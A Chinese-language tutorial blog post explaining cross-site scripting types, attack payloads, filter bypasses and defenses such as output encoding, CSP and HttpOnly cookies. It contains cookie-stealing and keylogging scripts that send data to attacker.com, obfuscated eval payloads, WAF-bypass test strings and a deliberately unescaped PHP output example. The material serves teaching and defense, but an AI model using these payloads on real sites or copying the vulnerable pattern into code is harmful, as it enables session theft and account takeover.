XSS（跨站脚本攻击）深度解析
一、XSS攻击原理图解
XSS核心原理：攻击者通过在网站中注入恶意脚本，当其他用户访问网站时，浏览器会执行这些恶意脚本，从而实现攻击目的。
二、XSS攻击三种类型
1. 反射型XSS（非持久化）
攻击特征：
- 恶意脚本包含在URL参数中
- 需要诱导用户点击特定链接
- 不存储在服务器上
2. 存储型XSS（持久化）
攻击特征：
- 恶意内容存储在服务器数据库中
- 所有访问受影响页面的用户都会中招
- 危害最大且持续性强
3. DOM型XSS（客户端处理漏洞）
攻击特征：
- 完全在客户端发生
- 不涉及服务器处理
- 漏洞在客户端JavaScript代码中
三、XSS脚本生成与攻击方式
1. 基础攻击脚本示例
<!-- 窃取用户Cookie -->
<script>
var image = new Image();
image.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
<!-- 重定向到钓鱼网站 -->
<script>
window.location.href = "http://phishing.com";
</script>
<!-- 键盘记录器 -->
<script>
document.onkeypress = function(e) {
new Image().src = "http://attacker.com/log?key=" + e.key;
}
</script>
2. 高级混淆技术
// 十六进制编码
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
// Base64编码
eval(atob('YWxlcnQoJ1hTUycp'));
// 字符串拼接
(window["\x65\x76\x61\x6c"])("ale"+"rt(1)");
// JSfuck编码（仅用6个字符）
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([]+{})[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[][]][(![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]]]([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[+!+[]]]()[+[]][+[]])()
3. 绕过WAF防护
<!-- 大小写绕过 -->
<ScRiPt>alert(1)</ScRiPt>
<!-- 属性编码绕过 -->
<img src="x" onerror="alert(1)">
<!-- 无标签事件 -->
<svg onload=alert(1)>
<!-- 利用特殊事件 -->
<body onpagehide=alert(1)>
四、XSS攻击实战演示
攻击场景：留言板存储型XSS
<!-- 漏洞页面：show_comment.php -->
<div class="comment">
<?= $_GET['comment'] ?> <!-- 未过滤直接输出 -->
</div>
<!-- 恶意留言注入 -->
<script>
// 获取用户Cookie
var cookie = document.cookie;
// 创建隐藏图片发送数据
var img = new Image();
img.src = "http://attacker.com/steal?data=" +
encodeURIComponent(cookie);
</script>
攻击效果：
- 用户访问留言板页面
- 浏览器加载并执行恶意脚本
- 用户Cookie被发送到攻击者服务器
- 攻击者利用Cookie登录用户账户
五、XSS防御策略详解
1. 输入验证（前端+后端）
// PHP输入过滤示例
function sanitize_input($input) {
// 移除特殊字符
$clean = htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// 限制特殊字符
$clean = preg_replace('/[^a-zA-Z0-9\u4e00-\u9fa5\s.,?!]/', '', $clean);
return $clean;
}
// 使用前进行过滤
$safe_comment = sanitize_input($_POST['comment']);
2. 输出编码（上下文敏感）
| 输出位置 | 编码方法 | PHP函数 |
|---|---|---|
| HTML正文 | HTML实体编码 | htmlspecialchars() |
| HTML属性 | HTML属性编码 | htmlspecialchars(ENT_QUOTES) |
| URL参数 | URL编码 | urlencode() |
| JavaScript | JavaScript编码 | json_encode() |
<!-- HTML输出 -->
<div><?= htmlspecialchars($content, ENT_QUOTES) ?></div>
<!-- 属性输出 -->
<input value="<?= htmlspecialchars($value, ENT_QUOTES) ?>">
<!-- JavaScript输出 -->
<script>
var userData = <?= json_encode($data) ?>;
</script>
3. 内容安全策略（CSP）
# HTTP响应头示例
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.cdn.com;
img-src *;
style-src 'unsafe-inline';
connect-src 'self';
CSP策略解释：
default-src 'self'：默认只允许同源资源script-src 'self'...：脚本只允许同源和指定CDNimg-src *：允许所有来源的图片style-src 'unsafe-inline'：允许行内样式（慎用）connect-src 'self'：只允许同源API请求
4. HttpOnly Cookie保护
Set-Cookie: sessionID=abc123; HttpOnly; Secure; SameSite=Strict
- HttpOnly：阻止JavaScript访问Cookie
- Secure：仅通过HTTPS传输
- SameSite：阻止跨站点请求伪造(CSRF)
5. XSS防御框架函数对比
| 函数 | 安全特性 | 推荐指数 |
|---|---|---|
innerText | 自动编码 | ★★★★★ |
textContent | 自动编码 | ★★★★★ |
innerHTML | 不安全 | ✘ |
document.write() | 高风险 | ✘ |
eval() | 极高风险 | ✘✘✘ |
六、现代框架中的XSS防护
1. React自动防护机制
function UserProfile({ bio }) {
// React自动对变量进行转义
return <div>{bio}</div>;
}
// 需要HTML渲染时明确使用dangerouslySetInnerHTML
function MarkdownViewer({ html }) {
return <div dangerouslySetInnerHTML={{ __html: sanitize(html) }} />;
}
2. Vue.js的自动编码
<template>
<!-- 自动编码 -->
<div>{{ userContent }}</div>
<!-- 需要HTML时使用v-html -->
<div v-html="sanitizeHTML(content)"></div>
</template>
3. 服务端渲染(SSR)防护 （node代码）
// Express + EJS防护
const express = require('express');
const app = express();
app.set('view engine', 'ejs');
app.locals.escape = require('lodash.escape');
// 在EJS模板中：
<%= escape(userContent) %>
七、XSS攻击检测与工具
1. 自动化扫描工具
- OWASP ZAP：开源Web应用扫描器
- Burp Suite：专业渗透测试工具
- XSSer：XSS专用检测框架
2. 手工检测方法
// 测试Payload
"><img src=x onerror=alert(1)>
'><svg/onload=confirm(1)>
</script><script>alert(1)</script>
// DOM XSS测试
#javascript:alert(1)
#<img src=x onerror=alert(1)>
八、企业级XSS防护架构
+------------+
| Web应用防火墙 |
| (WAF) |
+------+-----+
|
+-----------+ +-----------+ | +-----------+
| 输入过滤网关 |<--->| 应用服务器 | | | 输出编码层 |
+-----------+ +-----------+ | +-----------+
|
+------v-----+
| 浏览器防护 |
| (CSP + SRI) |
+------------+
关键组件：
1. WAF：过滤常见XSS攻击向量
2. 输入过滤：服务器端参数消毒
3. 输出编码：上下文感知编码
4. CSP：内容安全策略
5. SRI：子资源完整性
完整防御建议：
- 前端：对所有用户输入进行严格过滤
- 后端：双重验证+输出编码
- 传输：强制HTTPS+SRI资源校验
- 客户端：强CSP策略+HttpOnly Cookie
- 审计：定期进行XSS扫描和渗透测试
检测步骤：
- 识别用户输入点（表单、URL、headers）
- 测试基本Payload：
<script>alert(1)</script> - 测试绕过技巧：
<img src=x onerror=alert(1)> - 验证输出编码效果
- 检查CSP策略合规性
通过多层次的防御策略组合，可有效防护99%以上的XSS攻击场景。安全不是一次性工作，而是需要持续投入的工程实践。
扫一扫
2万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
